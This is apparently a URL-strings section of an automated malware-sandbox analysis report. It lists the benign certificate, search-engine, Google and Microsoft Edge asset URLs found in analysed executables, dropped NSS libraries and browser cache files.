Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 0b7df35e6b.exe, 0000001C.00000002.3029957613.00000000015BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c5o
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_483.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2436974731.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2427280179.000000001DB9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_485.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_485.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_483.4.dr, chromecache_485.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: IJKJJKFH.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr, DBKKFCBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp, IJKJJKFH.0.dr, DBKKFCBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 57ecc085-f51b-4d60-91db-9344d37f81ee.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 57ecc085-f51b-4d60-91db-9344d37f81ee.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_485.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_485.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp, CBKFIECBGDHJKECAKFBG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_485.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: IJKJJKFH.0.dr, DBKKFCBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IJKJJKFH.0.dr, DBKKFCBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IJKJJKFH.0.dr, DBKKFCBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.ldb.8.dr	String found in binary or memory: https://edgeassetservice.azure
Source: 000003.ldb.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/
Source: 000004.log.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=Addre
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
